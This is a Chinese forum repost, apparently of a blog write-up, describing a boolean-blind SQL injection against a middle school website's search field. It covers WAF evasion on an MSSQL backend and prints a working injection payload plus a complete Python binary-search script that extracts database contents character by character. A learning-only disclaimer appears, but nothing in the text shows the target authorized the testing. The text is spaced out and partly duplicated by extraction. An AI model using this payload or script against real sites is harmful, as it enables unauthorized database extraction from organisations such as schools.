搜索

[7578] 2021-04-25_实战SQL注入-BOOL盲注-一个小细节

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-04-25_实战SQL注入-BOOL盲注-一个小细节 实 战   |   S Q L 注 入 - B O O L 盲 注 - 一 个 小 细 节 原 创   s p a c e m a n   F 1 2 s e c   2 0 2 1 - 0 4 - 2 5 前 言 前 言 “ 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ” 挖 掘 过 程 挖 掘 过 程 “ 不 会 用 工 具 的 我 ， 只 能 慢 慢 手 动 测 试 。 不 会 用 工 具 的 我 ， 只 能 慢 慢 手 动 测 试 。 测 试 某 中 学 发 现 的 一 个 容 易 被 忽 略 的 注 入 点 测 试 某 中 学 发 现 的 一 个 容 易 被 忽 略 的 注 入 点 一 如 既 往 的 在 输 入 框 搜 索 ， 得 到 的 结 果 蛮 多 一 如 既 往 的 在 输 入 框 搜 索 ， 得 到 的 结 果 蛮 多 注 入 怎 么 能 不 试 试 单 引 号 呢 ， 于 是 测 试 单 引 号 ， 没 有 报 错 ， 没 有 关 系 注 入 怎 么 能 不 试 试 单 引 号 呢 ， 于 是 测 试 单 引 号 ， 没 有 报 错 ， 没 有 关 系
闭 合 测 试 ， 鱼 鱼 鱼 ， 回 显 不 一 样 了 ， 小 细 节 闭 合 测 试 ， 鱼 鱼 鱼 ， 回 显 不 一 样 了 ， 小 细 节 于 是 继 续 尝 试 发 现 于 是 继 续 尝 试 发 现   s e l e c t   不 加 参 数 不 会 被 不 加 参 数 不 会 被 b a n 加 参 数 就 被 加 参 数 就 被 b a n ， 有 ， 有 w a f 那 就 单 独 用 ， 测 试 发 现 是 那 就 单 独 用 ， 测 试 发 现 是 m s s q l 数 据 库 ， 数 据 库 ， 因 为 因 为 b a n 了 了   w a i t f o r   d e l a y
又 经 过 手 工 测 试 发 现 一 些 没 被 又 经 过 手 工 测 试 发 现 一 些 没 被 b a n 的 函 数 的 函 数 之 所 以 喜 欢 这 么 用 是 为 了 写 二 分 法 脚 本 做 准 备 ， 之 所 以 喜 欢 这 么 用 是 为 了 写 二 分 法 脚 本 做 准 备 ， 手 动 测 试 出 了 数 据 库 名 称 第 一 个 字 符 手 动 测 试 出 了 数 据 库 名 称 第 一 个 字 符 于 是 开 始 编 写 脚 本 于 是 开 始 编 写 脚 本   p a y l o a d …
经 过 测 试 与 经 过 测 试 与 a t a o 师 傅 交 师 傅 交 流 流 才 得 出 一 个 运 行 正 常 的 才 得 出 一 个 运 行 正 常 的 p a y l o a d 完 整 完 整 p l a y l o a d 如 下 如 下 1 ' ) a n d   ( a s c i i ( s u b s t r i n g ( ( { c o n t e n t } ) , { i } , 1 ) ) - { m i d } ) < 1 - - + #   - * -   c o d i n g : u t f - 8   - * - i m p o r t   r e q u e s t s u r l   =   " i p : / ? ? ? T e x t = " d e f   m a i n ( ) :         r e s u l t   =   " "         f o r   i   i n   r a n g e ( 1 ,   2 0 0 ) :                 l o w   =   3 1                 h i g h   =   1 2 8                 w h i l e   l o w   <   h i g h :                         m i d   =   i n t ( ( l o w   +   h i g h )   /   2 )                         c o n t e n t   =   " @ @ v e r s i o n "                         s q l   =   f " 1 ' ) a n d   ( a s c i i ( s u b s t r i n g ( ( { c o n t e n t } ) , { i } , 1 ) ) - { m i d } ) < 1 - - + "                         p a y l o a d   =   u r l + s q l                         r e s p o n s e   =   r e q u e s t s . g e t ( u r l = p a y l o a d )                         i f   " 共 1 8 条 数 据 "   i n   r e s p o n s e . t e x t :                                 h i g h   =   m i d                         e l s e :                                 l o w   =   m i d   +   1                         p r i n t ( " [ + ]   A f t e r   c h a n g i n g   w e   g o t   { }   t o   { } " . f o r m a t ( l o w ,   h i g h ) )                 i f   l o w   = =   h i g h   = =   1 2 8   o r   l o w   = =   h i g h   = =   3 1 :                         p r i n t ( " [ * ]   R e s u l t   i s :   { } " . f o r m a t ( r e s u l t ) )                         b r e a k                 p r i n t ( " [ + ]   N o w   h a s   { } " . f o r m a t ( i ) )                 r e s u l t   + =   c h r ( i n t ( ( h i g h   +   l o w )   /   2 ) )                 p r i n t ( " [ * ]   R e s u l t   n o w   i s :   { } " . f o r m a t ( r e s u l t ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         m a i n ( )
” 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 那 就 长 按 二 维 码 ， 关 注 关 注 我 们 吧 ！ 我 们 吧 ！     实 战   |   简 单 的 s q l 注 入 与 脚 本 的 编 写     记 一 次 相 对 完 整 的 渗 透 测 试     实 战   |   一 次 简 单 的 信 息 收 集 到 g e t s h e l l 的 过 程   右 下 角 求 赞 求 好 看 ， 喵 ~
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理